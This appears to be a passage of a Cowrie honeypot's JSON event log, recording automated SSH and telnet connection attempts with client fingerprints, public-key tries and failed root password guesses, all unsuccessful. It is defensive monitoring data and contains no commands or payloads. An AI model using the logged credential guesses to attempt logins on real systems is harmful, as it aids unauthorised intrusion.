istp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:48.869472Z","src_ip":"176.32.39.21","session":"bbfc02b3063b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15426378l","message":"login attempt [root/15426378l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:49.261976Z","src_ip":"176.32.39.21","session":"bbfc02b3063b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:32:50.384505Z","src_ip":"176.32.39.21","session":"bbfc02b3063b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.242.242.66","src_port":3682,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6cdfa0657ad","protocol":"ssh","message":"New connection: 151.242.242.66:3682 (10.17.0.5:22) [session: d6cdfa0657ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:07.180344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:07.186253Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:07.331054Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:b7:5e:6f:c8:62:db:6b:96:d4:b0:83:39:3d:77:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE1FMTVNEEslK25wMBE7Gm4cUlhEtCtUiTOLwu8l8W6QJbr2BTJXETXIj1/v2R0VNT3CQ6qhbFT4abynI4CxIFC2YSrh+e0lDLP0iihRL06kNwObHukYkpsoF0F6WPfEJHC7saJNLKOwNeaES5JR7QUq6b2RmlAZJfI6vWWhWmX0c3+iAak0qpBAAVHvMPnYfrhBLbC1NhO6uwSrPsKtXuOknxal1pdD117F3IyY3C9HepoFl5ManpytK+RrwbfgxtvlRC/Rz5Lv4uWWRfySAHCCoBT48n7W8q/wh9y2S7YRvpf8XdMagZ0DwePd3tsLcQWZ8Zig9gZl2sKZYeQZ5D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:b7:5e:6f:c8:62:db:6b:96:d4:b0:83:39:3d:77:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:08.028386Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:b7:5e:6f:c8:62:db:6b:96:d4:b0:83:39:3d:77:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE1FMTVNEEslK25wMBE7Gm4cUlhEtCtUiTOLwu8l8W6QJbr2BTJXETXIj1/v2R0VNT3CQ6qhbFT4abynI4CxIFC2YSrh+e0lDLP0iihRL06kNwObHukYkpsoF0F6WPfEJHC7saJNLKOwNeaES5JR7QUq6b2RmlAZJfI6vWWhWmX0c3+iAak0qpBAAVHvMPnYfrhBLbC1NhO6uwSrPsKtXuOknxal1pdD117F3IyY3C9HepoFl5ManpytK+RrwbfgxtvlRC/Rz5Lv4uWWRfySAHCCoBT48n7W8q/wh9y2S7YRvpf8XdMagZ0DwePd3tsLcQWZ8Zig9gZl2sKZYeQZ5D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:08.033871Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:6a:c2:91:44:f4:ee:5b:83:58:76:22:d0:08:f9:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDenOmXd2hBE52fchICjGSoU6Cfv2R0PldIu78X5NEinlvHwUG5wAV0svM9wGIXhfWDMf7FDbad+1bkDLUDz2oPuiwyqPR2eo7dpne08P9NVktSDBnW9LGUkMxTQRJpVp4y0lvgjJ/i2/NcRlkJ8XoxuBoyIrgJ7BTxpg7qKq8sQmp7VjhI3dSUqyHCvF4A0roc0vg0YunC3v22wqPwhAc+CpldYvVhArfvtngv8GfAOt7F2Yx7jlzM0yJ0jvvFvVYzFExCEWLN1EUP9mSUElJJdGv5iTmqEEOTxMsoAFglln1F6awOQ79X32ZAF7LFVC0M1A8SQtlg/hJHPmgReYSt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:6a:c2:91:44:f4:ee:5b:83:58:76:22:d0:08:f9:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:08.180644Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:6a:c2:91:44:f4:ee:5b:83:58:76:22:d0:08:f9:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDenOmXd2hBE52fchICjGSoU6Cfv2R0PldIu78X5NEinlvHwUG5wAV0svM9wGIXhfWDMf7FDbad+1bkDLUDz2oPuiwyqPR2eo7dpne08P9NVktSDBnW9LGUkMxTQRJpVp4y0lvgjJ/i2/NcRlkJ8XoxuBoyIrgJ7BTxpg7qKq8sQmp7VjhI3dSUqyHCvF4A0roc0vg0YunC3v22wqPwhAc+CpldYvVhArfvtngv8GfAOt7F2Yx7jlzM0yJ0jvvFvVYzFExCEWLN1EUP9mSUElJJdGv5iTmqEEOTxMsoAFglln1F6awOQ79X32ZAF7LFVC0M1A8SQtlg/hJHPmgReYSt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:08.187007Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:3f:36:ab:67:5a:a4:8d:78:fe:94:09:5e:f0:97:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDehOfCfmEE7SPmXma0hiefbs25mykHZcUyUJZELYv4rfPe0EUWuXqs08DS9xyjuwU1Qzv65LbwG/GBm/2of7T91vdLl8XE9/3HnxPbtFgPBzyl7D/NAj/1mwgINqvE18IyDoC3qqCWXNbgxFddu7rJjsrr7vfvR280fDo8zmau11y9PZOS1UeLedtEODcvbeE3jFBNr8slWLdY0ascgY/SFYyKeaAMW7ykXhB+E6GDCJScuiQA2mVFRFsWWYpsVd26WjiKUOtV6xORLJHaJj6kcNPg9xJFEIms57aHKssJpFQwwB+GeFkm/8a9uS0vMmel48ewm4zeZbEZd7R05l/RzXLnz/vXJ1pyU0/tlVm+3iS9nWpcNXj/NU/QnmvNhtBZxpOUa+Cypkjfrw9baVPa51CUJSK/pwrbyCLP/RPcTixilSm/YHEmsP4q0cSaHZYAA6vDbPjxEDQTUGW85qJYJSb57jpCvP9zPXSBXC1RLRjXpWqHbgZcRMqtc4EgZnlC5tuCes+Kf8Q4U6q3w+NE3mEX8lk5rMMmEyVEEdYsLMqTaokgBdbiPdryr+Zt1Hwb8DQ4LLyHVd8AO/iY0qmGiDnHurfyFbbWwfJcop7NJ3hloCVreO2P46pb9KgHzmdocIu7EugYvcKmXLiTNzgwb44DVD54eE2AxGhDdT39TQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:3f:36:ab:67:5a:a4:8d:78:fe:94:09:5e:f0:97:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:08.343256Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:3f:36:ab:67:5a:a4:8d:78:fe:94:09:5e:f0:97:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDehOfCfmEE7SPmXma0hiefbs25mykHZcUyUJZELYv4rfPe0EUWuXqs08DS9xyjuwU1Qzv65LbwG/GBm/2of7T91vdLl8XE9/3HnxPbtFgPBzyl7D/NAj/1mwgINqvE18IyDoC3qqCWXNbgxFddu7rJjsrr7vfvR280fDo8zmau11y9PZOS1UeLedtEODcvbeE3jFBNr8slWLdY0ascgY/SFYyKeaAMW7ykXhB+E6GDCJScuiQA2mVFRFsWWYpsVd26WjiKUOtV6xORLJHaJj6kcNPg9xJFEIms57aHKssJpFQwwB+GeFkm/8a9uS0vMmel48ewm4zeZbEZd7R05l/RzXLnz/vXJ1pyU0/tlVm+3iS9nWpcNXj/NU/QnmvNhtBZxpOUa+Cypkjfrw9baVPa51CUJSK/pwrbyCLP/RPcTixilSm/YHEmsP4q0cSaHZYAA6vDbPjxEDQTUGW85qJYJSb57jpCvP9zPXSBXC1RLRjXpWqHbgZcRMqtc4EgZnlC5tuCes+Kf8Q4U6q3w+NE3mEX8lk5rMMmEyVEEdYsLMqTaokgBdbiPdryr+Zt1Hwb8DQ4LLyHVd8AO/iY0qmGiDnHurfyFbbWwfJcop7NJ3hloCVreO2P46pb9KgHzmdocIu7EugYvcKmXLiTNzgwb44DVD54eE2AxGhDdT39TQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:08.347421Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:88:3c:60:05:13:a0:4c:83:ba:e6:d5:4a:c7:d9:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZYJU/SOJhPXqjFiAOBqgidBbgmX01QDrOZeFi44ONOE7Vnab7SHIOYH+qH7zAyEPIYEyADJdfnlYl/badCMG3XxWoK1iJmOwZLM/R7Vj2VSMrUKGLhcvQoEl+aMiShfEGbDhCcbe+N7X0Ge8xTXn82RRychzjHuklqOyV8Vi6l0DJcfQM1awSXelvK9xD2s9nLMcr4/7hR4b4+fHZPugSPponMI4z39tHuHlVzgKaU9B0fxF9ICotz0fhfeuAUX5Jvcvlcdp7nTTqybfowvKC1N9rtARcGBpXXWMOPTTs5ftqQ7sVv3pFQxDETq4SmRan9oKdayddt2HP3Z8Vq+ML","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:88:3c:60:05:13:a0:4c:83:ba:e6:d5:4a:c7:d9:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:08.490739Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:88:3c:60:05:13:a0:4c:83:ba:e6:d5:4a:c7:d9:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZYJU/SOJhPXqjFiAOBqgidBbgmX01QDrOZeFi44ONOE7Vnab7SHIOYH+qH7zAyEPIYEyADJdfnlYl/badCMG3XxWoK1iJmOwZLM/R7Vj2VSMrUKGLhcvQoEl+aMiShfEGbDhCcbe+N7X0Ge8xTXn82RRychzjHuklqOyV8Vi6l0DJcfQM1awSXelvK9xD2s9nLMcr4/7hR4b4+fHZPugSPponMI4z39tHuHlVzgKaU9B0fxF9ICotz0fhfeuAUX5Jvcvlcdp7nTTqybfowvKC1N9rtARcGBpXXWMOPTTs5ftqQ7sVv3pFQxDETq4SmRan9oKdayddt2HP3Z8Vq+ML","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:08.494662Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:95:25:28:f3:40:4c:d3:d8:d4:9d:6d:5b:c4:cb:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJRUe903O/KaeB38ZqXQe/POEg1RPBpoVhOyDapmuL4o+jHmQzTvGdoxCwcs+RYRLdKw6XUBW9L/cwPTrVr2RRfEoZ8T3nAZGssxN5uOTuiZ31H9aYm8WTJJUeqSiRs4ITrPIxS2n3N2orx/RTPY6jNWGzg+EE8AdByahxQ3IE+7VI1+eaxD4SISP79b+pGeGVk3R8iuKtgo0lH7hUOHhzrxfq3j8t1ROrkSZEuPvfqBWY+a3vWJX8KrTd8rGHMJs+vszu1Tn1y97mT1ELD8yfVvH6zmzejIN8gjflB+/NYUVU2JYZzVU5gm0EWmR+c3uQWse46DIYCXQduIfwUPBz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:95:25:28:f3:40:4c:d3:d8:d4:9d:6d:5b:c4:cb:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:08.639797Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:95:25:28:f3:40:4c:d3:d8:d4:9d:6d:5b:c4:cb:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJRUe903O/KaeB38ZqXQe/POEg1RPBpoVhOyDapmuL4o+jHmQzTvGdoxCwcs+RYRLdKw6XUBW9L/cwPTrVr2RRfEoZ8T3nAZGssxN5uOTuiZ31H9aYm8WTJJUeqSiRs4ITrPIxS2n3N2orx/RTPY6jNWGzg+EE8AdByahxQ3IE+7VI1+eaxD4SISP79b+pGeGVk3R8iuKtgo0lH7hUOHhzrxfq3j8t1ROrkSZEuPvfqBWY+a3vWJX8KrTd8rGHMJs+vszu1Tn1y97mT1ELD8yfVvH6zmzejIN8gjflB+/NYUVU2JYZzVU5gm0EWmR+c3uQWse46DIYCXQduIfwUPBz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:08.644463Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:08.790730Z","src_ip":"151.242.242.66","session":"d6cdfa0657ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.82","src_port":33271,"dst_ip":"10.17.0.5","dst_port":23,"session":"2604dd7a293e","protocol":"telnet","message":"New connection: 91.230.168.82:33271 (10.17.0.5:23) [session: 2604dd7a293e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:37.295173Z"}
{"eventid":"cowrie.session.closed","duration":0.029437780380249023,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:37.324518Z","src_ip":"91.230.168.82","session":"2604dd7a293e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.86","src_port":57667,"dst_ip":"10.17.0.5","dst_port":23,"session":"20c8a50db64d","protocol":"telnet","message":"New connection: 91.230.168.86:57667 (10.17.0.5:23) [session: 20c8a50db64d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:37.396915Z"}
{"eventid":"cowrie.session.closed","duration":10.193827152252197,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:47.590570Z","src_ip":"91.230.168.86","session":"20c8a50db64d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":52370,"dst_ip":"10.17.0.5","dst_port":22,"session":"a39ac5da454f","protocol":"ssh","message":"New connection: 103.173.227.57:52370 (10.17.0.5:22) [session: a39ac5da454f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:54.587619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:54.592684Z","src_ip":"103.173.227.57","session":"a39ac5da454f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:54.844985Z","src_ip":"103.173.227.57","session":"a39ac5da454f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"opopop","message":"login attempt [root/opopop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:55.606699Z","src_ip":"103.173.227.57","session":"a39ac5da454f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:33:56.862195Z","src_ip":"103.173.227.57","session":"a39ac5da454f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.82","src_port":54985,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8286dc6e837","protocol":"telnet","message":"New connection: 91.230.168.82:54985 (10.17.0.5:23) [session: d8286dc6e837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:01.647832Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\xe2\\xd7\\x8d\\xc1\\x00\\xa7\\x82\\x1b9\\xd3\\x87\\xc1:\\xe7\\x82\\xea\\x1a\\x91o`\\x1e\\xa7\"#4\\x18\\'B\\x12!\\xc1h \\'\"\\x85\\xbb\\x1c\\xbb\\xe33\\xca7\\x01\\x1f\\xdf\\xa0\\x14!b\\xb3,?\\xdf\\x93\\xd1F\\x04\\xf8\\xc0\\x15\\xdcd#\\x12\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'","password":"b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"","message":"login attempt [b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\xe2\\xd7\\x8d\\xc1\\x00\\xa7\\x82\\x1b9\\xd3\\x87\\xc1:\\xe7\\x82\\xea\\x1a\\x91o`\\x1e\\xa7\"#4\\x18\\'B\\x12!\\xc1h \\'\"\\x85\\xbb\\x1c\\xbb\\xe33\\xca7\\x01\\x1f\\xdf\\xa0\\x14!b\\xb3,?\\xdf\\x93\\xd1F\\x04\\xf8\\xc0\\x15\\xdcd#\\x12\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'/b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:01.654155Z","src_ip":"91.230.168.82","session":"d8286dc6e837","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f134.199.244.163\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'","password":"\u0000\f\u0000","message":"login attempt [b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f134.199.244.163\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'/\u0000\f\u0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:01.666739Z","src_ip":"91.230.168.82","session":"d8286dc6e837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.10117125511169434,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:01.748858Z","src_ip":"91.230.168.82","session":"d8286dc6e837","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.81","src_port":44635,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dccedd1e9b4","protocol":"telnet","message":"New connection: 91.230.168.81:44635 (10.17.0.5:23) [session: 9dccedd1e9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:01.826308Z"}
{"eventid":"cowrie.session.closed","duration":3.017042398452759,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:04.843231Z","src_ip":"91.230.168.81","session":"9dccedd1e9b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":60492,"dst_ip":"159.203.135.109","dst_port":22,"session":"4659c9cd7189","protocol":"ssh","message":"New connection: 182.253.156.184:60492 (159.203.135.109:22) [session: 4659c9cd7189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:11.366070Z"}
